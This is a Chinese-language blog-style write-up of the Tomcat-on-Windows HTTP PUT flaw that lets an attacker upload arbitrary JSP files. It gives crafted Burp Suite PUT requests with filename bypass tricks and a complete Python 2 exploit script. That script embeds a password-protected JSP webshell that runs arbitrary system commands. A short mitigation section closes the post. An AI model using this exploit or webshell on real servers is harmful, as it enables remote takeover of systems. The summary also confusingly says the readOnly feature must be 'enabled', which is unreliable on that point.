前言
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(默认关闭),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
涉及版本
漏洞分析
在 Tomcat 安装目录下的配置文件web.xml中,如果有如下代码,则表示Tomcat已开启  PUT 方法
| 12
 3
 4
 
 | <init-param><param-name>readonly</param-name>
 <param-value>false</param-value>
 </init-param>
 
 | 
确保readonly参数为true(默认值),即不允许DELETE和PUT操作
| 12
 3
 
 | <!--   readonly            Is this context "read only", so HTTP           --><!--                       commands like PUT and DELETE are               -->
 <!--                       rejected?  [true]                              -->
 
 | 
漏洞利用
上传webshell
Burpsuite抓包
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | GET /  HTTP/1.1Host: 192.168.220.141:8080
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 Content-Length: 660
 
 | 
将上面的 GET 方法改为 PUT ,后面写要创建的webshell名,下面传入webshell的内容
有下面几种方法:
/xxx.jsp/
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | PUT /123.jsp/  HTTP/1.1Host: 192.168.220.141:8080
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 Content-Length: 660
 
 ...jsp shell...
 
 | 

这种方法是服务器会把最后的 / 去掉 
/xxx.jsp%20
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | PUT /123.jsp%20  HTTP/1.1Host: 192.168.220.141:8080
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 Content-Length: 660
 
 ...jsp shell...
 
 | 
其中 %20 为url编码,实际是指 (空格)

/xxx.jsp::$DATA(没有实现)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | PUT /123.jsp::$DATA  HTTP/1.1Host: 192.168.220.141:8080
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 Content-Length: 660
 
 ...jsp shell...
 
 | 

使用这种方法也可以上传成功,但是却不能被解析,上传的文件名为 123.jsp::$DATA
执行结果:

python脚本
脚本(基于python2):
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 
 | #! -*- coding:utf-8 -*- 
 import httplib
 
 import sys
 
 import time
 
 body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
 
 +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
 
 try:
 
 conn = httplib.HTTPConnection(sys.argv[1])
 
 conn.request(method='OPTIONS', url='/ffffzz')
 
 headers = dict(conn.getresponse().getheaders())
 
 if 'allow' in headers and headers['allow'].find('PUT') > 0 :
 
 conn.close()
 
 conn = httplib.HTTPConnection(sys.argv[1])
 
 url = "/" + str(int(time.time()))+'.jsp/'
 
 #url = "/" + str(int(time.time()))+'.jsp::$DATA'
 
 conn.request( method='PUT', url= url, body=body)
 
 res = conn.getresponse()
 
 if res.status  == 201 :
 
 #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
 
 print 'shell:', 'http://' + sys.argv[1] + url[:-1]
 
 elif res.status == 204 :
 
 print 'file exists'
 
 else:
 
 print 'error'
 
 conn.close()
 
 else:
 
 print 'Server not vulnerable'
 
 
 
 except Exception,e:
 
 print 'Error:', e
 
 | 
执行结果:
| 12
 
 | C:\Users\l1395\Desktop>python2 test.py 192.168.220.141:8080shell: http://192.168.220.141:8080/1564383217.jsp
 
 | 

总结
该漏洞利用的前提条件需要手动开启readOnly功能,以支持上传操作,默认配置的情况下是无法成功利用漏洞,从实际测试来看,漏洞危害性并没有那么高。但是如果用户一旦启用了readOnly功能,黑客可利用漏洞成功入侵。
根据业务评估配置conf/webxml文件的readOnly值为Ture或注释参数,禁用PUT方法并重启tomcat服务,临时规避安全风险; 注意: 如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。